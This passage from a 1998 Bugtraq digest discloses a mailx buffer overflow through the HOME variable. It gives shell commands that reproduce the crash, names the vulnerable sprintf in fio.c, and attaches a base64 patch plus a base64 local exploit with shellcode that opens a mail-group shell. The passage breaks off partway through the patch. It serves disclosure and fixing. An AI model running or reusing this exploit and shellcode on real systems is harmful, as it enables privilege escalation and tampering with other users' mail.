Date: Fri, 26 Jun 1998 00:05:16 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 24 Jun 1998 to 25 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980626040723Z80664-4085+21@brimstone.netspace.org>
There are 17 messages totalling 1198 lines in this issue.
Topics of the day:
1. security hole in mailx (6)
2. ufsrestore sparc exploit
3. TextCounter: SECURITY HOLE PLUGGED!
4. textcounter.pl (alternate fix) (2)
5. WIPO: Bugtraq DOS Attack
6. guestbook script is still vulnerable under apache (5)
7. WIPO Bill
----------------------------------------------------------------------
Date: Thu, 25 Jun 1998 06:19:29 +0200
From: Alvaro Martinez Echevarria
Subject: security hole in mailx
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--1287857710-1215613336-898748369=:12634
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
Hi there.
I've discovered a rather serious security hole in mailx, the good
old Berkeley mail program. It's somehow present at least in the
last versions I've checked (mailx-8.1.1 in Linux, mailx 5.0 in
Solaris). The bug is an exploitable buffer overflow (using the
HOME environment variable) that allows any local user to acquire
the privileges under which the program runs, usually group "mail"
(on many of the modern versions I've seen, mailx is setgid
"mail"). So the bug allows you to get "mail" group privileges,
and this means that at least you can play with other people's
mail. Although this wouldn't be very nice from you, this
shouldn't be a big problem for the integrity of the system. But
there could be a much more serious implication: being able to
write in /var/spool/mail is usually an open door to the root
account, for example by using races and such in mail delivery
programs.
You can check if your particular version of mailx is vulnerable
through these steps:
$ cp `which mailx` ./mailx
$ HOME=3D`perl -e 'print "A"x10000'` ./mailx
Segmentation fault (core dumped)
$ gdb ./mailx core
GNU gdb 4.17
[...]
#0 0x41414141 in ?? ()
Here we go. By the way, although in Linux 2000 "A"s are enough,
in Solaris you'll need more (10000 worked for me). I've verified
that Debian GNU/Linux (package mailx-8.1.1-9 and previous) is
vulnerable. Solaris 5.5.1 and 5.6 (mailx 5.0) also seem vulnerable
after a couple of quick tests, but I haven't been able to
check the return address due to lack of a root access to any
Solaris, so I'm not 100% sure. Redhat Linux mailx has the bug,
but as they don't install it setgid mail there's no direct
danger.
About the bug: it is in "fio.c", in the "xname" variable of the
"expand" function:
char xname[PATHSIZE];
[...]
sprintf(xname, "%s%s", homedir, name + 1);
Two attachments are included in this message:
-A patch against mailx-8.1.1 that solves the problem. There
are a lot of buffer overflows in the sources of mailx,
although only the one I mention seems to be exploitable. The
patch is dirty and simple: replace sprintf and strcpy by
snprintf and strncpy almost everywhere. I haven't tested it
a lot, use it at your own risk.
-An exploit that should work under Linux (at least it does so in
Debian). To test: compile it, execute it, and it should give you
a shell; check with "id" if you are group "mail". By the way,
the program assumes the gid for group mail is 8, as in Debian.
Please, use it _JUST_ for testing and educative purposes ;)
I reported the problem a few days ago to Debian, Redhat, Sun, and
CERT, and I also sent them the patches. So the new versions
should be on the way or even already released, at least for the
Linux distributions.
BTW, the person who tested the bug under Solaris (I don't have
direct access to any Solaris machine) told me that he had a hard
time:
tcsh$ setenv HOME `perl -e 'print "A"x10000'`
connection lost
!!! Seems like tcsh doesn't like huge homes like this. Second try:
tsch$ exec sh
sh$ HOME=3D`perl -e 'print "A"x10000'`
sh$ which mailx
Segmentation Fault (core dumped)
Erm... Seems like Sun is doing a great job with buffer overflows.
This happened under 5.5.1. I wonder if these have any security
implication. Anyway, they are not bad as a joke.
Regards.
--
Alvaro Mart=EDnez Echevarr=EDa
LANDER SISTEMAS
P=BA Castellana, 121
28046 Madrid, SPAIN
--1287857710-1215613336-898748369=:12634
Content-Type: TEXT/x-csrc; name="mailxploit.c"
Content-Transfer-Encoding: BASE64
Content-ID:
Content-Description:
LyoNCiAqIG1haWx4cGxvaXQuYyAoTGludXgvaTM4NikNCiAqIFNhdCBKdW4g
MjAgMDA6NDc6NTkgQ0VTVCAxOTk4DQogKiBBbHZhcm8gTWFydGluZXogRWNo
ZXZhcnJpYSA8ZWxndXJ1QGxhbmRlci5lcz4NCiAqIEV4cGxvaXQgYSBidWZm
ZXIgb3ZlcnJ1biBpbiBtYWlseCB1c2luZyB0aGUgZW52aXJvbm1lbnQgdmFy
aWFibGUNCiAqICRIT01FLCB0byBhY3F1aXJlICJtYWlsIiBncm91cCBwcml2
aWxlZ2VzIChhc3N1bWluZyB0aGF0IG1haWx4DQogKiBpcyBpbnN0YWxsZWQg
c2V0Z2lkIG1haWwpLg0KICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2lu
Y2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1
ZGUgPHN0cmluZy5oPg0KDQovKg0KICogVGhlIGxvY2F0aW9uIG9mIG1haWx4
Lg0KICovDQojZGVmaW5lIE1BSUxYICAiL3Vzci9iaW4vbWFpbCINCi8qDQog
KiBUaGUgZ2lkIGZvciBncm91cCBtYWlsIChyZXByZXNlbnRlZCBpbiBhIGNo
YXIsIGluIGhleGFkZWNpbWFsKS4NCiAqLw0KI2RlZmluZSBHSUQgICAgIlx4
MDgiDQoNCiNkZWZpbmUgREVGQVVMVF9PRkZTRVQgICAgICAgICAgICAgICAg
IDIwMDANCiNkZWZpbmUgREVGQVVMVF9CVUZGRVJfU0laRSAgICAgICAgICAg
IDExMjQNCiNkZWZpbmUgTk9QICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDB4OTANCg0KY2hhciBzaGVsbGNvZGVbXSA9DQogIC8qIHNldGV1aWQoR0lE
KTsgc2V0cmV1aWQoR0lELEdJRCk7ICovDQogICJceDMxXHhkYlx4MzFceGM5
XHhiYlx4ZmZceGZmXHhmZlx4ZmZceGIxIiBHSUQgIlx4MzFceGMwXHhiMFx4
NDdceGNkXHg4MCINCiAgIlx4MzFceGRiXHgzMVx4YzlceGIzIiBHSUQgIlx4
YjEiIEdJRCAiXHgzMVx4YzBceGIwXHg0N1x4Y2RceDgwIg0KICAvKiBnZW5l
cmljIHNoZWxsIGNvZGUgYnkgQWxlcGggT25lICovDQogICJceGViXHgxZlx4
NWVceDg5XHg3Nlx4MDhceDMxXHhjMFx4ODhceDQ2XHgwN1x4ODlceDQ2XHgw
Y1x4YjBceDBiIg0KICAiXHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1Nlx4
MGNceGNkXHg4MFx4MzFceGRiXHg4OVx4ZDhceDQwXHhjZCINCiAgIlx4ODBc
eGU4XHhkY1x4ZmZceGZmXHhmZi9iaW4vc2giOw0KDQp1bnNpZ25lZCBsb25n
DQpnZXRfc3Aodm9pZCkgew0KICAgX19hc21fXygibW92bCAlZXNwLCVlYXgi
KTsNCn0NCg0KaW50DQptYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsN
CiAgY2hhciAqYnVmZiwgKnB0cjsNCiAgbG9uZyAqYWRkcl9wdHIsIGFkZHI7
DQogIGludCBvZmZzZXQ9REVGQVVMVF9PRkZTRVQsIGJzaXplPURFRkFVTFRf
QlVGRkVSX1NJWkU7DQogIGludCBpOw0KDQogIGFkZHIgPSBnZXRfc3AoKSAt
IG9mZnNldDsNCiAgaWYgKChidWZmPShjaGFyICopbWFsbG9jKGJzaXplKSk9
PU5VTEwpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiZXJyb3IgaW4gbWFsbG9j
KClcbiIpOw0KICAgIGV4aXQoMSk7DQogIH0NCg0KICBwdHIgPSBidWZmOw0K
ICBhZGRyX3B0ciA9IChsb25nICopIHB0cjsNCiAgZm9yIChpID0gMDsgaSA8
IGJzaXplOyBpKz00KQ0KICAgICooYWRkcl9wdHIrKykgPSBhZGRyOw0KICBm
b3IgKGkgPSAwOyBpIDwgYnNpemUvMjsgaSsrKQ0KICAgIGJ1ZmZbaV0gPSBO
T1A7DQogIHB0ciA9IGJ1ZmYgKyAoKGJzaXplLzIpIC0gKHN0cmxlbihzaGVs
bGNvZGUpLzIpKTsNCiAgZm9yIChpID0gMDsgaSA8IHN0cmxlbihzaGVsbGNv
ZGUpOyBpKyspDQogICAgKihwdHIrKykgPSBzaGVsbGNvZGVbaV07DQogIGJ1
ZmZbYnNpemUgLSAxXSA9ICdcMCc7DQoNCiAgc2V0ZW52KCJIT01FIixidWZm
LDEpOw0KICBleGVjbChNQUlMWCxNQUlMWCwiLW4iLCItZiIsIn4vcGF0YXRh
IixOVUxMKTsNCg0KICBleGl0KDApOw0KDQp9DQoNCg==
--1287857710-1215613336-898748369=:12634
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="patch-mailx-8.1.1"
Content-Transfer-Encoding: BASE64
Content-ID:
Content-Description:
ZGlmZiAtcnUgbWFpbHgtOC4xLjEub3JpZy9hdXguYyBtYWlseC04LjEuMS9h
dXguYw0KLS0tIG1haWx4LTguMS4xLm9yaWcvYXV4LmMJRnJpIEp1biAxNCAx
MDoyNjo1NSAxOTk2DQorKysgbWFpbHgtOC4xLjEvYXV4LmMJU2F0IEp1biAy
MCAwNDo0ODozNiAxOTk4DQpAQCAtMjgwLDE2ICsyODAsMjEgQEANCiAgKiBD
b3B5IGEgc3RyaW5nLCBsb3dlcmNhc2luZyBpdCBhcyB3ZSBnby4NCiAgKi8N
CiB2b2lkDQotaXN0cmNweShkZXN0LCBzcmMpDQoraXN0cmNweShkZXN0LCBz
cmMsIHNpemUpDQogCXJlZ2lzdGVyIGNoYXIgKmRlc3QsICpzcmM7DQorCWlu
dCBzaXplOw0KIHsNCisJcmVnaXN0ZXIgY2hhciAqbWF4Ow0KIA0KLQlkbyB7
DQotCQlpZiAoaXN1cHBlcigqc3JjKSkNCisJbWF4PWRlc3Qrc2l6ZS0xOw0K
Kwl3aGlsZSAoZGVzdDw9bWF4ICYmICpzcmMhPSdcMCcpIHsNCisJCWlmIChp
c3VwcGVyKCpzcmMpKSB7DQogCQkJKmRlc3QrKyA9IHRvbG93ZXIoKnNyYyk7
DQotCQllbHNlDQorCQl9IGVsc2Ugew0KIAkJCSpkZXN0KysgPSAqc3JjOw0K
LQl9IHdoaWxlICgqc3JjKysgIT0gMCk7DQorCQl9DQorCQlzcmMrKzsNCisJ
fQ0KIH0NCiANCiAvKg0KQEAgLTYwNiwxMCArNjExLDEzIEBADQogCQkJCWJy
ZWFrOw0KIAkJCWNwKys7DQogCQkJaWYgKGZpcnN0KSB7DQotCQkJCXN0cmNw
eShuYW1lYnVmLCBjcCk7DQorCQkJCXN0cm5jcHkobmFtZWJ1ZiwgY3AsIExJ
TkVTSVpFKTsNCiAJCQkJZmlyc3QgPSAwOw0KLQkJCX0gZWxzZQ0KLQkJCQlz
dHJjcHkocmluZGV4KG5hbWVidWYsICchJykrMSwgY3ApOw0KKwkJCX0gZWxz
ZSB7DQorCQkJCWNwMj1yaW5kZXgobmFtZWJ1ZiwgJyEnKSsxOw0KKwkJCQlz
dHJuY3B5KGNwMiwgY3AsIChuYW1lYnVmK0xJTkVTSVpFKS1jcDIpOw0KKwkJ
CX0NCisJCQluYW1lYnVmW0xJTkVTSVpFLTJdPSdcMCc7DQogCQkJc3RyY2F0
KG5hbWVidWYsICIhIik7DQogCQkJZ290byBuZXduYW1lOw0KIAkJfQ0KQEAg
LTY5MSw3ICs2OTksOCBAQA0KIAkgKiBMb3dlci1jYXNlIHRoZSBzdHJpbmcs
IHNvIHRoYXQgIlN0YXR1cyIgYW5kICJzdGF0dXMiDQogCSAqIHdpbGwgaGFz
aCB0byB0aGUgc2FtZSBwbGFjZS4NCiAJICovDQotCWlzdHJjcHkocmVhbGZs
ZCwgZmllbGQpOw0KKwlpc3RyY3B5KHJlYWxmbGQsIGZpZWxkLCBCVUZTSVop
Ow0KKwlyZWFsZmxkW0JVRlNJWi0xXT0nXDAnOw0KIAlpZiAoaWdub3JlWzFd
LmlfY291bnQgPiAwKQ0KIAkJcmV0dXJuICghbWVtYmVyKHJlYWxmbGQsIGln
bm9yZSArIDEpKTsNCiAJZWxzZQ0KZGlmZiAtcnUgbWFpbHgtOC4xLjEub3Jp
Zy9jbWQxLmMgbWFpbHgtOC4xLjEvY21kMS5jDQotLS0gbWFpbHgtOC4xLjEu
b3JpZy9jbWQxLmMJRnJpIEp1biAxNCAxMDoyNjo1NiAxOTk2DQorKysgbWFp
bHgtOC4xLjEvY21kMS5jCVNhdCBKdW4gMjAgMDQ6MDc6MzkgMTk5OA0KQEAg
LTQ2NSw3ICs0NjUsNyBAQA0KIAljaGFyIGRpcm5hbWVbQlVGU0laXTsNCiAJ
Y2hhciAqY21kOw0KIA0KLQlpZiAoZ2V0Zm9sZChkaXJuYW1lKSA8IDApIHsN
CisJaWYgKGdldGZvbGQoZGlybmFtZSwgQlVGU0laKSA8IDApIHsNCiAJCXBy
aW50ZigiTm8gdmFsdWUgc2V0IGZvciBcImZvbGRlclwiXG4iKTsNCiAJCXJl
dHVybiAxOw0KIAl9DQpkaWZmIC1ydSBtYWlseC04LjEuMS5vcmlnL2NtZDIu
YyBtYWlseC04LjEuMS9jbWQyLmMNCi0tLSBtYWlseC04LjEuMS5vcmlnL2Nt
ZDIuYwlGcmkgSnVuIDE0IDEwOjI2OjU2IDE5OTYNCisrKyBtYWlseC04LjEu
MS9jbWQyLmMJU2F0IEp1biAyMCAwNDo0OTo1NCAxOTk4DQpAQCAtNDk2LDcg
KzQ5Niw4IEBADQogCWlmICgqbGlzdCA9PSBOT1NUUikNCiAJCXJldHVybiBp
Z3Nob3codGFiLCB3aGljaCk7DQogCWZvciAoYXAgPSBsaXN0OyAqYXAgIT0g
MDsgYXArKykgew0KLQkJaXN0cmNweShmaWVsZCwgKmFwKTsNCisJCWlzdHJj
cHkoZmllbGQsICphcCwgQlVGU0laKTsNCisJCWZpZWxkW0JVRlNJWi0xXT0n
XDAnOw0KIAkJaWYgKG1lbWJlcihmaWVsZCwgdGFiKSkNCiAJCQljb250aW51
ZTsNCiAJCWggPSBoYXNoKGZpZWxkKTsNCmRpZmYgLXJ1IG1haWx4LTguMS4x
Lm9yaWcvY21kMy5jIG1haWx4LTguMS4xL2NtZDMuYw0KLS0tIG1haWx4LTgu
MS4xLm9yaWcvY21kMy5jCUZyaSBKdW4gMTQgMTA6MjY6NTcgMTk5Ng0KKysr
IG1haWx4LTguMS4xL2NtZDMuYwlTYXQgSnVuIDIwIDA0OjQxOjM3IDE5OTgN
CkBAIC02NSw4ICs2NSw5IEBADQogCWNoYXIgKnNoZWxsOw0KIAljaGFyIGNt
ZFtCVUZTSVpdOw0KIA0KLQkodm9pZCkgc3RyY3B5KGNtZCwgc3RyKTsNCi0J
aWYgKGJhbmdleHAoY21kKSA8IDApDQorCSh2b2lkKSBzdHJuY3B5KGNtZCwg
c3RyLCBCVUZTSVopOw0KKwljbWRbQlVGU0laLTFdPSdcMCc7DQorCWlmIChi
YW5nZXhwKGNtZCwgQlVGU0laKSA8IDApDQogCQlyZXR1cm4gMTsNCiAJaWYg
KChzaGVsbCA9IHZhbHVlKCJTSEVMTCIpKSA9PSBOT1NUUikNCiAJCXNoZWxs
ID0gX1BBVEhfQ1NIRUxMOw0KQEAgLTEwMyw4ICsxMDQsOSBAQA0KIGNoYXIJ
bGFzdGJhbmdbMTI4XTsNCiANCiBpbnQNCi1iYW5nZXhwKHN0cikNCitiYW5n
ZXhwKHN0ciwgc2l6ZSkNCiAJY2hhciAqc3RyOw0KKwlpbnQgc2l6ZTsNCiB7
DQogCWNoYXIgYmFuZ2J1ZltCVUZTSVpdOw0KIAlyZWdpc3RlciBjaGFyICpj
cCwgKmNwMjsNCkBAIC0xNDQsNyArMTQ2LDggQEANCiAJCXByaW50ZigiISVz
XG4iLCBiYW5nYnVmKTsNCiAJCWZmbHVzaChzdGRvdXQpOw0KIAl9DQotCXN0
cmNweShzdHIsIGJhbmdidWYpOw0KKwlzdHJuY3B5KHN0ciwgYmFuZ2J1Ziwg
c2l6ZSk7DQorCXN0cltzaXplLTFdPSdcMCc7DQogCXN0cm5jcHkobGFzdGJh
bmcsIGJhbmdidWYsIDEyOCk7DQogCWxhc3RiYW5nWzEyN10gPSAwOw0KIAly
ZXR1cm4oMCk7DQpkaWZmIC1ydSBtYWlseC04LjEuMS5vcmlnL2NvbGxlY3Qu
YyBtYWlseC04LjEuMS9jb2xsZWN0LmMNCi0tLSBtYWlseC04LjEuMS5vcmln
L2NvbGxlY3QuYwlGcmkgSnVuIDE0IDEwOjI2OjU4IDE5OTYNCisrKyBtYWls
eC04LjEuMS9jb2xsZWN0LmMJU2F0IEp1biAyMCAwNDo1Mjo0MCAxOTk4DQpA
QCAtMjY4LDcgKzI2OCw4IEBADQogCQkJaHAtPmhfYmNjID0gY2F0KGhwLT5o
X2JjYywgZXh0cmFjdCgmbGluZWJ1ZlsyXSwgR0JDQykpOw0KIAkJCWJyZWFr
Ow0KIAkJY2FzZSAnZCc6DQotCQkJc3RyY3B5KGxpbmVidWYgKyAyLCBnZXRk
ZWFkbGV0dGVyKCkpOw0KKwkJCXN0cm5jcHkobGluZWJ1ZiArIDIsIGdldGRl
YWRsZXR0ZXIoKSwgTElORVNJWkUgLSAyKTsNCisJCQlsaW5lYnVmW0xJTkVT
SVpFLTFdPSdcMCc7DQogCQkJLyogZmFsbCBpbnRvIC4gLiAuICovDQogCQlj
YXNlICdyJzoNCiAJCWNhc2UgJzwnOg0KT25seSBpbiBtYWlseC04LjEuMTog
Y29sbGVjdC5jLm9yaWcNCmRpZmYgLXJ1IG1haWx4LTguMS4xLm9yaWcvZXh0
ZXJuLmggbWFpbHgtOC4xLjEvZXh0ZXJuLmgNCi0tLSBtYWlseC04LjEuMS5v
cmlnL2V4dGVybi5oCUZyaSBKdW4gMTQgMTA6MjY6NTkgMTk5Ng0KKysrIG1h
aWx4LTguMS4xL2V4dGVybi5oCVNhdCBKdW4gMjAgMDQ6NTI6NDAgMTk5OA0K
QEAgLTk0LDcgKzk0LDcgQEANCiBpbnQJIGFwcGVuZCBfX1AoKHN0cnVjdCBt
ZXNzYWdlICosIEZJTEUgKikpOw0KIGludAkgYXJnY291bnQgX19QKChjaGFy
ICoqKSk7DQogdm9pZAkgYXNzaWduIF9fUCgoY2hhciBbXSwgY2hhciBbXSkp
Ow0KLWludAkgYmFuZ2V4cCBfX1AoKGNoYXIgKikpOw0KK2ludAkgYmFuZ2V4
cCBfX1AoKGNoYXIgKiwgaW50KSk7DQogaW50CSBibGFua2xpbmUgX19QKChj
aGFyIFtdKSk7DQogdm9pZAkgYnJva3BpcGUgX19QKChpbnQpKTsNCiBpbnQJ
IGNoYXJjb3VudCBfX1AoKGNoYXIgKiwgaW50KSk7DQpAQCAtMTMwLDcgKzEz
MCw3IEBADQogaW50CSBmaWxlIF9fUCgodm9pZCAqKSk7DQogc3RydWN0IGdy
b3VwaGVhZCAqDQogCSBmaW5kZ3JvdXAgX19QKChjaGFyIFtdKSk7DQotdm9p
ZAkgZmluZG1haWwgX19QKChjaGFyICosIGNoYXIgKikpOw0KK3ZvaWQJIGZp
bmRtYWlsIF9fUCgoY2hhciAqLCBjaGFyICosIGludCkpOw0KIGludAkgZmly
c3QgX19QKChpbnQsIGludCkpOw0KIHZvaWQJIGZpeGhlYWQgX19QKChzdHJ1
Y3QgaGVhZGVyICosIHN0cnVjdCBuYW1lICopKTsNCiB2b2lkCSBmbXQgX19Q
KChjaGFyICosIHN0cnVjdCBuYW1lICosIEZJTEUgKiwgaW50KSk7DQpAQCAt
MTM5LDcgKzEzOSw3IEBADQogdm9pZAkgZnJlZV9jaGlsZCBfX1AoKGludCkp
Ow0KIGludAkgZnJvbSBfX1AoKHZvaWQgKikpOw0KIG9mZl90CSBmc2l6ZSBf
X1AoKEZJTEUgKikpOw0KLWludAkgZ2V0Zm9sZCBfX1AoKGNoYXIgKikpOw0K
K2ludAkgZ2V0Zm9sZCBfX1AoKGNoYXIgKiwgaW50KSk7DQogaW50CSBnZXRo
ZmllbGQgX19QKChGSUxFICosIGNoYXIgW10sIGludCwgY2hhciAqKikpOw0K
IGludAkgZ2V0bXNnbGlzdCBfX1AoKGNoYXIgKiwgaW50ICosIGludCkpOw0K
IGludAkgZ2V0cmF3bGlzdCBfX1AoKGNoYXIgW10sIGNoYXIgKiosIGludCkp
Ow0KQEAgLTE2NCw3ICsxNjQsNyBAQA0KIGludAkgaXNoZWFkIF9fUCgoY2hh
ciBbXSkpOw0KIGludAkgaXNpZ24gX19QKChjaGFyICosIHN0cnVjdCBpZ25v
cmV0YWIgW10pKTsNCiBpbnQJIGlzcHJlZml4IF9fUCgoY2hhciAqLCBjaGFy
ICopKTsNCi12b2lkCSBpc3RyY3B5IF9fUCgoY2hhciAqLCBjaGFyICopKTsN
Cit2b2lkCSBpc3RyY3B5IF9fUCgoY2hhciAqLCBjaGFyICosIGludCkpOw0K
IGNvbnN0IHN0cnVjdCBjbWQgKg0KIAkgbGV4IF9fUCgoY2hhciBbXSkpOw0K
IHZvaWQJIGxvYWQgX19QKChjaGFyICopKTsNCmRpZmYgLXJ1IG1haWx4LTgu
MS4xLm9yaWcvZmlvLmMgbWFpbHgtOC4xLjEvZmlvLmMNCi0tLSBtYWlseC04
LjEuMS5vcmlnL2Zpby5jCUZyaSBKdW4gMTQgMTA6Mjc6MDAgMTk5Ng0KKysr
IG1haWx4LTguMS4xL2Zpby5jCVNhdCBKdW4gMjAgMDQ6NTI6NDAgMTk5OA0K
QEAgLTc0LDcgKzc0LDcgQEANCiAJY2hhciBsaW5lYnVmW0xJTkVTSVpFXTsN
CiANCiAJLyogR2V0IHRlbXBvcmFyeSBmaWxlLiAqLw0KLQkodm9pZClzcHJp
bnRmKGxpbmVidWYsICIlcy9tYWlsLlhYWFhYWCIsIHRtcGRpcik7DQorCSh2
b2lkKXNucHJpbnRmKGxpbmVidWYsTElORVNJWkUsIiVzL21haWwuWFhYWFhY
IiwgdG1wZGlyKTsNCiAJaWYgKChjID0gbWtzdGVtcChsaW5lYnVmKSkgPT0g
LTEgfHwNCiAJICAgIChtZXN0bXAgPSBGZG9wZW4oYywgInIrIikpID09IE5V
TEwpIHsNCiAJCSh2b2lkKWZwcmludGYoc3RkZXJyLCAibWFpbDogY2FuJ3Qg
b3BlbiAlc1xuIiwgbGluZWJ1Zik7DQpAQCAtMzM2LDcgKzMzNiw3IEBADQog
CSAqLw0KIAlzd2l0Y2ggKCpuYW1lKSB7DQogCWNhc2UgJyUnOg0KLQkJZmlu
ZG1haWwobmFtZVsxXSA/IG5hbWUgKyAxIDogbXluYW1lLCB4bmFtZSk7DQor
CQlmaW5kbWFpbChuYW1lWzFdID8gbmFtZSArIDEgOiBteW5hbWUsIHhuYW1l
LCBQQVRIU0laRSk7DQogCQlyZXR1cm4gc2F2ZXN0cih4bmFtZSk7DQogCWNh
c2UgJyMnOg0KIAkJaWYgKG5hbWVbMV0gIT0gMCkNCkBAIC0zNTEsMTMgKzM1
MSwxMyBAQA0KIAkJCW5hbWUgPSAifi9tYm94IjsNCiAJCS8qIGZhbGwgdGhy
b3VnaCAqLw0KIAl9DQotCWlmIChuYW1lWzBdID09ICcrJyAmJiBnZXRmb2xk
KGNtZGJ1ZikgPj0gMCkgew0KLQkJc3ByaW50Zih4bmFtZSwgIiVzLyVzIiwg
Y21kYnVmLCBuYW1lICsgMSk7DQorCWlmIChuYW1lWzBdID09ICcrJyAmJiBn
ZXRmb2xkKGNtZGJ1ZiwgUEFUSFNJWkUpID49IDApIHsNCisJCXNucHJpbnRm
KHhuYW1lLCBQQVRIU0laRSwgIiVzLyVzIiwgY21kYnVmLCBuYW1lICsgMSk7
DQogCQluYW1lID0gc2F2ZXN0cih4bmFtZSk7DQogCX0NCiAJLyogY2F0Y2gg
dGhlIG1vc3QgY29tbW9uIHNoZWxsIG1ldGEgY2hhcmFjdGVyICovDQogCWlm
IChuYW1lWzBdID09ICd+JyAmJiAobmFtZVsxXSA9PSAnLycgfHwgbmFtZVsx
XSA9PSAnXDAnKSkgew0KLQkJc3ByaW50Zih4bmFtZSwgIiVzJXMiLCBob21l
ZGlyLCBuYW1lICsgMSk7DQorCQlzbnByaW50Zih4bmFtZSwgUEFUSFNJWkUs
ICIlcyVzIiwgaG9tZWRpciwgbmFtZSArIDEpOw0KIAkJbmFtZSA9IHNhdmVz
dHIoeG5hbWUpOw0KIAl9DQogCWlmICghYW55b2YobmFtZSwgIn57Wyo/JGAn
XCJcXCIpKQ0KQEAgLTM2Niw3ICszNjYsNyBAQA0KIAkJcGVycm9yKCJwaXBl
Iik7DQogCQlyZXR1cm4gbmFtZTsNCiAJfQ0KLQlzcHJpbnRmKGNtZGJ1Ziwg
ImVjaG8gJXMiLCBuYW1lKTsNCisJc25wcmludGYoY21kYnVmLCBQQVRIU0la
RSwgImVjaG8gJXMiLCBuYW1lKTsNCiAJaWYgKChzaGVsbCA9IHZhbHVlKCJT
SEVMTCIpKSA9PSBOT1NUUikNCiAJCXNoZWxsID0gX1BBVEhfQ1NIRUxMOw0K
IAlwaWQgPSBzdGFydF9jb21tYW5kKHNoZWxsLCAwLCAtMSwgcGl2ZWNbMV0s
ICItYyIsIGNtZGJ1ZiwgTk9TVFIpOw0KQEAgLTQwOSwxNyArNDA5LDIwIEBA
DQogICogRGV0ZXJtaW5lIHRoZSBjdXJyZW50IGZvbGRlciBkaXJlY3Rvcnkg
bmFtZS4NCiAgKi8NCiBpbnQNCi1nZXRmb2xkKG5hbWUpDQorZ2V0Zm9sZChu
YW1lLCBzaXplKQ0KIAljaGFyICpuYW1lOw0KKwlpbnQgc2l6ZTsNCiB7DQog
CWNoYXIgKmZvbGRlcjsNCiANCiAJaWYgKChmb2xkZXIgPSB2YWx1ZSgiZm9s
ZGVyIikpID09IE5PU1RSKQ0KIAkJcmV0dXJuICgtMSk7DQotCWlmICgqZm9s
ZGVyID09ICcvJykNCi0JCXN0cmNweShuYW1lLCBmb2xkZXIpOw0KLQllbHNl
DQotCQlzcHJpbnRmKG5hbWUsICIlcy8lcyIsIGhvbWVkaXIsIGZvbGRlcik7
DQorCWlmICgqZm9sZGVyID09ICcvJykgew0KKwkJc3RybmNweShuYW1lLCBm
b2xkZXIsIHNpemUpOw0KKwkJbmFtZVtzaXplXT0nXDAnOw0KKwl9IGVsc2Ug
ew0KKwkJc25wcmludGYobmFtZSwgc2l6ZSwgIiVzLyVzIiwgaG9tZWRpciwg
Zm9sZGVyKTsNCisJfQ0KIAlyZXR1cm4gKDApOw0KIH0NCiANCkBAIC00MzYs
NyArNDM5LDcgQEANCiAJZWxzZSBpZiAoKmNwICE9ICcvJykgew0KIAkJY2hh
ciBidWZbUEFUSFNJWkVdOw0KIA0KLQkJKHZvaWQpIHNwcmludGYoYnVmLCAi
fi8lcyIsIGNwKTsNCisJCSh2b2lkKSBzbnByaW50ZihidWYsIFBBVEhTSVpF
LCAifi8lcyIsIGNwKTsNCiAJCWNwID0gZXhwYW5kKGJ1Zik7DQogCX0NCiAJ
cmV0dXJuIGNwOw0KZGlmZiAtcnUgbWFpbHgtOC4xLjEub3JpZy9sZXguYyBt
YWlseC04LjEuMS9sZXguYw0KLS0tIG1haWx4LTguMS4xLm9yaWcvbGV4LmMJ
RnJpIEp1biAxNCAxMDoyNzowMyAxOTk2DQorKysgbWFpbHgtOC4xLjEvbGV4
LmMJU2F0IEp1biAyMCAwNDo1Mjo0MCAxOTk4DQpAQCAtMTM0LDkgKzEzNCwx
MiBAQA0KIAl9DQogCXNodWRjbG9iID0gMTsNCiAJZWRpdCA9IGlzZWRpdDsN
Ci0Jc3RyY3B5KHByZXZmaWxlLCBtYWlsbmFtZSk7DQotCWlmIChuYW1lICE9
IG1haWxuYW1lKQ0KLQkJc3RyY3B5KG1haWxuYW1lLCBuYW1lKTsNCisJc3Ry
bmNweShwcmV2ZmlsZSwgbWFpbG5hbWUsIFBBVEhTSVpFKTsNCisJcHJldmZp
bGVbUEFUSFNJWkUtMV09J1wwJzsNCisJaWYgKG5hbWUgIT0gbWFpbG5hbWUp
IHsNCisJCXN0cm5jcHkobWFpbG5hbWUsIG5hbWUsIFBBVEhTSVpFKTsNCisJ
CW1haWxuYW1lW1BBVEhTSVpFLTFdPSdcMCc7DQorCX0NCiAJbWFpbHNpemUg
PSBmc2l6ZShpYnVmKTsNCiAJaWYgKChvdGYgPSBmb3Blbih0ZW1wTWVzZywg
InciKSkgPT0gTlVMTCkgew0KIAkJcGVycm9yKHRlbXBNZXNnKTsNCkBAIC02
MTYsMTAgKzYxOSwxMCBAQA0KIAkJCXMrKzsNCiAJfQ0KIAllbmFtZSA9IG1h
aWxuYW1lOw0KLQlpZiAoZ2V0Zm9sZChmbmFtZSkgPj0gMCkgew0KKwlpZiAo
Z2V0Zm9sZChmbmFtZSwgQlVGU0laLTEpID49IDApIHsNCiAJCXN0cmNhdChm
bmFtZSwgIi8iKTsNCiAJCWlmIChzdHJuY21wKGZuYW1lLCBtYWlsbmFtZSwg
c3RybGVuKGZuYW1lKSkgPT0gMCkgew0KLQkJCXNwcmludGYoem5hbWUsICIr
JXMiLCBtYWlsbmFtZSArIHN0cmxlbihmbmFtZSkpOw0KKwkJCXNucHJpbnRm
KHpuYW1lLCBCVUZTSVosICIrJXMiLCBtYWlsbmFtZSArIHN0cmxlbihmbmFt
ZSkpOw0KIAkJCWVuYW1lID0gem5hbWU7DQogCQl9DQogCX0NCk9ubHkgaW4g
bWFpbHgtOC4xLjE6IGxleC5jLm9yaWcNCmRpZmYgLXJ1IG1haWx4LTguMS4x
Lm9yaWcvbGlzdC5jIG1haWx4LTguMS4xL2xpc3QuYw0KLS0tIG1haWx4LTgu
